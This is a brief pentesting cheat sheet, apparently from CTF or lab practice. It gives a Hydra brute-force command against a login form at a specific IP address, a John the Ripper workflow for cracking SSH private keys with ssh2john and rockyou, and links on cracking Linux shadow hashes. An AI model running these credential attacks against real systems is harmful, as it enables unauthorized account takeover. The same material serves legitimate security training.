

Brute force

<https://crackstation.net/>

Hydra

```
hydra -L /usr/share/wordlists/rockyou.txt -p password 35.227.24.107 http-post-form "/cc4b16aa5e/login?:username=^USER^&password=^PASS^:F=Invalid" -vV -f
```

John

Cheat Sheet (awesome)

<http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats>

Cracking SSH

<http://www.abhizer.com/crack-ssh-with-john/>

```
cp ~/.ssh/id_rsa id_rsa
```

```
cp $(locate ssh2john.py) .
```

```
python ssh2john.py id_rsa > id_rsa.hash
```

```
locate rockyou.txt
```

```
cp $(locate rockyou.txt) .
```

```
#now, unzip the file
```

```
gunzip rockyou.txt.gz
```

```
john id_rsa.hash -wordlist=rockyou.txt
```

Salted password

```
john --wordlist=/usr/share/wordlists/rockyou.txt <file>
```

how to crack shadow file hash value (linux password) :

<https://null-byte.wonderhowto.com/how-to/crack-shadow-hashes-after-getting-root-linux-system-0186386/>